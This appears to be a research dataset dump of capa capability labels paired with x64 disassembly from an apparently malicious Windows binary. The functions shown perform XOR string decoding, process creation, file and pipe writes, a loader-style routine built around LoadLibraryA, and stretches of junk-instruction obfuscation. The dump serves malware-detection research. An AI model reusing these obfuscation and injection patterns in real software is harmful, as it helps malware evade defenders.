joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007b4c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
je 0x14007b4e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x76]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xc
jb 0x14007b4d0
mov byte [rcx + 0xd], 0
ret

Function at 0x14007bba0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je case.default.0x14007bbd0
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x14007bbf8
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14007bbfa
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14007bc53
test ecx, ecx
jle 0x14007bc2e
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r14, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14007bc53
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14007bc53
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
add r9, r10
jmp 0x1405160ea
lea rax, [rsp + 0x140]
cmp r12w, r14w
cmp rsi, rax
jmp 0x1404d720d
ja 0x1405b0b5a
mov rdx, rsp
cmc
movabs rcx, 0x100
sbb dil, 0x53
lea rax, [rsi + riz - 0x80]
sbb dil, bl
neg edi
and rax, 0xfffffffffffffff0
rol dil, 0xda
sub rax, rcx
jmp 0x14055fcd7
push rsi
cmovs di, si
movzx si, sil
pushfq
mov rsi, rdx
movzx edi, bp
cmovl edi, r9d
mov edi, eax
mov rdi, rax
jmp 0x14051917f
not r10d
test r8, 0x500a2200
clc
push rbx
bt bx, 0xdc
bsr ebx, r10d
clc
xor dword [rsp], r10d
shrd ebx, ebp, 0xa1
sal bh, cl
pop rbx
stc
cmp r11w, 0x165d
jmp 0x1405337c4
jmp 0x1404bcb19
cld
jmp 0x1405c443e
and eax, 0x41fffb32
inc edx
stc
clc
xor r10d, 0x750d7809
jmp 0x1405c3ec8
movsxd r10, r10d
cmp bpl, 0xd4
jmp 0x1404955c1
mov rsp, rax
jmp 0x1404e3b60
push r9
ret
inc r10d
cmc
jmp 0x140504e76
rep movsb byte [rdi], byte [rsi]
shl sil, cl
btr rsi, 0xc7
popfq
movsxd rsi, r12d
mov si, 0x793b
pop rsi
jmp 0x1405b0b5a
Function at 0x14007bc80
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rdi, r8
mov r14, rdx
mov rbx, rcx
je case.default.0x14007bcb0
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbp
mov rbp, rdi
mov qword [rsp + 0x38], rsi
mov rdx, qword [rax]
test rdx, rdx
je 0x14007bcd8
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14007bcda
xor ecx, ecx
movsxd rsi, ecx
test rdi, rdi
jle 0x14007bd6b
test ecx, ecx
jle 0x14007bd12
cmp rdi, rsi
mov rcx, r14
cmovl rsi, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbx + 0x50]
add r14, rsi
sub rdi, rsi
sub dword [rax], esi
mov rcx, qword [rbx + 0x38]
movsxd rax, esi
add qword [rcx], rax
test rdi, rdi
jle 0x14007bd6b
mov r9, qword [rbx + 0x80]
test r9, r9
je 0x14007bd6b
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14007bd57
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov r9, qword [rbx + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
mov rsi, qword [rsp + 0x38]
sub rbp, rdi
mov rbx, qword [rsp + 0x40]
mov rax, rbp
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov dword [rbp + 0xc], eax
pushfq
lahf
shl ax, cl
cwde
pop qword [rbp + riz]
rcl al, 0x51
shr ax, cl
lahf
mov eax, dword [rsi]
clc
add rsi, 4
clc
jmp 0x1404a7503
xor eax, r11d
test r8b, dl
add eax, 0x3bbd453e
clc
rol eax, 1
cmc
cmp sil, r10b
clc
sub eax, 0x2227e80
ror eax, 1
jmp 0x1405670c1
cld
jmp 0x1405848d5
div ecx
mov dword [rbp + 8], edx
jmp 0x14049968f
jmp 0x140594161
jmp 0x1404c959a
push r11
xadd r11b, r11b
xor dword [rsp], eax
adc r11d, 0x4fc0732d
mov r11d, ecx
movsxd r11, edi
pop r11
movsxd rax, eax
test r8w, 0x660c
add r9, rax
jmp 0x140501994
rep movsb byte [rdi], byte [rsi]
rcr si, cl
shl si, 0xfb
popfq
movsx rsi, r11w
movzx si, bl
not sil
pop rsi
jmp r9
lea rbx, [rsp + 0x140]
clc
cmp rbp, rbx
jmp 0x1405d54e7
ja 0x1405848eb
mov rbx, rsp
test r9b, al
movabs rcx, 0x100
sbb di, 0x5a68
test r14b, 0x80
lea r10, [rbp + riz - 0x80]
bsr di, r15w
and r10, 0xfffffffffffffff0
sub r10, rcx
mov rsp, r10
movsx di, bl
push rsi
mov rdi, rax
movsx rsi, bx
pushfq
xchg dil, sil
movsx esi, di
mov rsi, rbx
bswap rdi
movsx edi, di
mov rdi, r10
jmp 0x1404c2970
Function at 0x14007c1e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14007c20d
xor eax, eax
jmp 0x14007c362
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x14007c238
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x14007c238
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x14007c362
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14007c355
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14007c27b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14007c2a6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14007c35a
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
js 0x14007c355
cmp eax, 1
jle 0x14007c315
cmp eax, 3
jne 0x14007c355
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14007c35a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14007c343
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14007c355
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14007c35a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140087600
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14007c7b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14007c85c
cmp byte [rcx + 0x71], 0
je 0x14007c85c
mov rax, qword [rcx]
mov edx, 0xffffffff
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14007c81d
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14007c821
sub eax, 1
je 0x14007c825
sub eax, 2
je 0x14007c85c
xor al, al
jmp 0x14007c85e
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14007c853
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14007c81d
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14007c85e
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140087600
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret

Function at 0x14007e250
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x14007e273
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x79]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x14007e260
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x14007e280
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x14007e2a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x79]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x14007e290
mov byte [rcx + 5], 0
ret

Function at 0x14007ea80
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x74]
lea r8d, [rdx + 0x64]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], WSAGetLastError
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140087600
add rsp, 0xf0
pop rbx
ret
Function at 0x14007eb40
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
sub rsp, 0x118
movdqa xmm0, xmmword [0x1402d6ec0]
movdqa xmm1, xmmword [0x1402d6e20]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [0x1402d6d60]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm1, xmmword [0x1402d6dd0]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x1402d6c90]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x1402d6d50]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1402d6c30]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x1402d6c50]
movdqa xmmword [rax - 0x98], xmm0
movdqa xmm0, xmmword [0x1402d6be0]
movdqa xmmword [rax - 0x88], xmm1
movdqa xmm1, xmmword [0x1402d6c00]
movdqa xmmword [rax - 0x78], xmm0
movdqa xmm0, xmmword [0x1402d6b00]
movdqa xmmword [rax - 0x68], xmm1
movdqa xmm1, xmmword [0x1402d6bc0]
movdqa xmmword [rax - 0x58], xmm0
movdqa xmm0, xmmword [0x1402d6ad0]
movdqa xmmword [rax - 0x48], xmm1
movdqa xmm1, xmmword [str.__805602_S______zuX_VL__JKTW47_0_:.XM_]
movdqa xmmword [rax - 0x38], xmm0
movdqa xmmword [rax - 0x28], xmm1
mov dword [rax - 0x18], 0x1003b33
xor eax, eax
nop word [rax + rax]
lea ecx, [rax + 0x7b]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0xe2
jb 0x14007ec20
mov byte [rsp + 0x103], 0
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007ec46
lea rdx, [rsp + 0x20]
lea rcx, [0x1406903b0]
call fcn.14007c5d0
add rsp, 0x118
ret

Function at 0x14007f190
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [0x140692f88]
mov rbx, r9
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007f216
mov eax, dword [0x140692f90]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x30], Ordinal_301
mov dword [rsp + 0x34], eax
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x44], r8d
mov dword [rsp + 0x40], edx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x140692f88]
lea r9, [rsp + 0x58]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140087600
add rsp, 0x70
pop rbx
ret
Function at 0x14007f230
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword [0x140692f88]
mov edi, r8d
dec rax
mov rbx, rcx
cmp rax, 0xfffffffffffffffd
ja 0x14007f37a
mov eax, dword [0x140692f90]
xorps xmm0, xmm0
mov qword [r11 - 0x20], rsi
xor esi, esi
mov qword [rbp + 0x1b], rsi
mov dword [rbp + 0x23], esi
mov qword [r11 - 0x28], r14
mov dword [rbp - 1], reloc.WLDAP32.dll_Ordinal_200
mov dword [rbp + 3], eax
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], rcx
mov dword [rbp + 0x17], r8d
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], Ordinal_301
mov dword [rbp - 0x25], eax
mov qword [rbp - 0x21], rcx
mov dword [rbp - 0x15], 0x40
mov dword [rbp - 0x19], r8d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x140692f88]
lea r14, [0x140692fa0]
lea r9, [rbp + 0x27]
mov dword [rbp - 0x11], eax
lea r8d, [rsi + 0x29]
mov qword [rbp - 9], r14
lea rdx, [rbp - 0x29]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x140692f88]
lea r9, [rbp + 0x2b]
lea r8d, [rsi + 0x28]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [0x140692f88]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007f36a
mov eax, dword [0x140692f90]
xorps xmm0, xmm0
mov dword [rbp - 0x25], eax
mov eax, dword [0x140692fa0]
mov dword [rbp - 0x15], eax
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], Ordinal_301
mov qword [rbp - 0x21], rbx
mov dword [rbp - 0x19], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x140692f88]
lea r9, [rbp + 0x27]
lea r8d, [rsi + 0x29]
mov dword [rbp - 0x11], eax
lea rdx, [rbp - 0x29]
mov qword [rbp - 9], r14
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rsi, qword [rsp + 0x98]
mov r14, qword [rsp + 0x90]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140087600
add rsp, 0xa0
pop rdi
pop rbx
pop rbp
ret

Function at 0x14007f3a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rsp + 0x268], rax
mov rax, qword [0x140692f88]
mov rbx, rcx
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007f46b
xor edx, edx
mov qword [rsp + 0x30], 0
mov r8d, 0x210
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x140692f90]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0x258
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x248], eax
mov r8, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov qword [rsp + 0x250], rax
inc r8
cmp byte [rbx + r8], 0
jne 0x14007f420
inc r8
lea rcx, [rsp + 0x48]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rcx, qword [0x140692f88]
lea r9, [rsp + 0x260]
mov r8d, 0x219
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [rsp + 0x30]
jmp 0x14007f46d
xor eax, eax
mov rcx, qword [rsp + 0x268]
xor rcx, rsp
call fcn.140087600
add rsp, 0x270
pop rbx
ret
Function at 0x14007fda0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp + 0x27], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov dword [rbp - 0x19], 0x170a121d
mov dword [rbp - 0x15], 0x1c1e171f
mov dword [rbp - 0x11], 0xe5ae1a0d
mov dword [rbp - 0xd], 0x100efee
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx + 0x76]
xor byte [rbp + rcx - 0x19], al
inc rcx
cmp rcx, 0xe
jb 0x14007fe00
mov byte [rbp - 0xa], 0
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x17]
call fcn.14007f6a0
mov r15, rax
mov dword [rbp + 0x2f], 0x123e0835
mov dword [rbp + 0x33], 0xe4f310
mov byte [rbp + 0x37], 1
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x7b]
xor byte [rbp + rcx + 0x2f], al
inc rcx
cmp rcx, 7
jb 0x14007fe40
mov byte [rbp + 0x37], 0
movdqa xmm0, xmmword [0x1402d6a40]
movdqu xmmword [rbp + 7], xmm0
mov byte [rbp - 9], 0
lea rax, [rbp + 0x2f]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007fe70
lea rdx, [rbp + 0x2f]
lea rcx, [rbp - 9]
call fcn.14007c5d0
nop
mov qword [rbp + 0x2f], 0
lea r8, [rbp - 9]
lea rdx, [rbp + 0x2f]
mov rcx, r15
call fcn.140086800
mov rbx, qword [rbp + 0x2f]
cmp rbx, qword [r15]
je 0x14007ff01
lea rdx, [rbx + 0x20]
mov rsi, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14007febb
mov rdx, qword [rdx]
lea rcx, [rbp - 9]
mov rdi, qword [rbp - 9]
mov r14, qword [rbp + 0xf]
cmp r14, 0x10
cmovae rcx, rdi
mov r12, qword [rbp + 7]
mov r8, r12
cmp rsi, r12
cmovb r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007fefa
cmp r12, rsi
jae 0x14007fef2
mov eax, 0xffffffff
jmp 0x14007fefa
xor eax, eax
cmp r12, rsi
seta al
shr eax, 0x1f
test al, al
je 0x14007ff39
lea rax, [rbp - 9]
mov qword [rbp + 0x2f], rax
lea r8, [rbp + 0x2f]
mov rcx, r15
call fcn.1400868c0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp + 0x2f]
mov rcx, r15
call fcn.140086910
mov rbx, qword [rbp + 0x2f]
mov r14, qword [rbp + 0xf]
mov rdi, qword [rbp - 9]
mov rbx, qword [rbx + 0x40]
cmp r14, 0x10
jb 0x14007ff77
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14007ff6f
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007ff6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14008762c
movdqa xmm0, xmmword [0x1402d6a40]
movdqu xmmword [rbp + 7], xmm0
mov byte [rbp - 9], 0
mov r9, qword [rbp + 0x17]
mov r8, qword [r9]
lea rdx, [rbp + 0x2f]
lea rcx, [rbp + 0x17]
call fcn.1400851f0
mov edx, 0x48
mov rcx, qword [rbp + 0x17]
call fcn.14008762c
mov rax, rbx
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140087600
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14007ffe0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x3358]
mov eax, 0x3458
call fcn.140224ed0
sub rsp, rax
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rbp + 0x3340], rax
mov r15, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rbp + 0x2f40]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
lea rdx, [0x1402d5c14]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14008004f
mov edx, 0x5c
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea r8, [rax + 1]
jmp 0x140080052
mov r8, rdi
lea rcx, [rbp + 0x2f40]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140080060
xor edx, edx
nop dword [rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140080070
lea rcx, [rbp + 0x2f40]
call fcn.14007f3a0
mov rbx, rax
test rax, rax
jne 0x14008027f
mov qword [rsp + 0x3490], rsi
mov dword [rsp + 0x20], 0x151c0318
mov dword [rsp + 0x24], 0x11185516
mov word [rsp + 0x28], reloc.WS2_32.dll_select
mov byte [rsp + 0x2a], 1
nop dword [rax]
lea ecx, [rax + 0x76]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 9
jb 0x1400800c0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x2a], 0
call fcn.14007f3a0
mov rsi, rax
test rax, rax
je 0x140080274
mov rcx, r15
mov qword [rsp + 0x3450], r14
call fcn.140085b40
mov r14, rax
test rax, rax
je 0x14008026c
mov rbx, 0xffffffffffffffff
add rsi, 0x1000
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140080120
lea rax, [rsi + 1]
mov rdx, rsi
add rax, rcx
lea rcx, [rbp + 0xf30]
mov qword [rbp + 0x1f30], rax
call fcn.140085be0
mov rdx, rax
lea rcx, [rsp + 0x30]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1000
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f40]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1402f59e3], rax
mov qword [0x1402f59b8], r15
mov qword [0x1402f59c2], r14
mov qword [0x1402f59d9], rsi
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x140080193
lea r8d, [rbx + 1]
mov rdx, rdi
mov rcx, rsi
call fcn.14007f230
mov rcx, qword [rbp + 0x1f30]
lea rdx, str.QRUVSWAPAQARASATAUAVAWH
mov r8d, WSAGetLastError
call fcn.14007f230
mov ecx, 4
call fcn.140087a58
mov edx, 8
mov r9, rax
mov rcx, r15
lea r8d, [rdx - 4]
call fcn.14007f190
mov r8d, 8
lea rdx, [rbp + 0x1f30]
mov rcx, r15
call fcn.14007f230
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x1b58]
nop word [rax + rax]
lea rcx, [rbp + 0x2f40]
call fcn.14007f3a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
ja 0x140080239
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140080210
mov ecx, 4
call fcn.140087a58
mov edx, 8
mov r9, rax
mov rcx, r15
lea r8d, [rdx - 6]
call fcn.14007f190
mov r8d, 0x1000
lea rdx, [rbp + 0x1f40]
mov rcx, rsi
call fcn.14007f230
mov r14, qword [rsp + 0x3450]
mov rsi, qword [rsp + 0x3490]
mov rax, rbx
mov rcx, qword [rbp + 0x3340]
xor rcx, rsp
call fcn.140087600
add rsp, 0x3458
pop r15
pop rdi
pop rbx
pop rbp
ret
Function at 0x1400809e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1c], 0
je 0x140080a03
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7b]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1b
jb 0x1400809f0
mov byte [rcx + 0x1c], 0
mov rax, rcx
ret
Function at 0x140080f90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x19], 0
je 0x140080fb3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7b]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x140080fa0
mov byte [rcx + 0x19], 0
mov rax, rcx
ret

Function at 0x140080fc0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2d], 0
je 0x140080fe3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7b]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2c
jb 0x140080fd0
mov byte [rcx + 0x2d], 0
mov rax, rcx
ret
Function at 0x140081480
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rsp + 0x68], rax
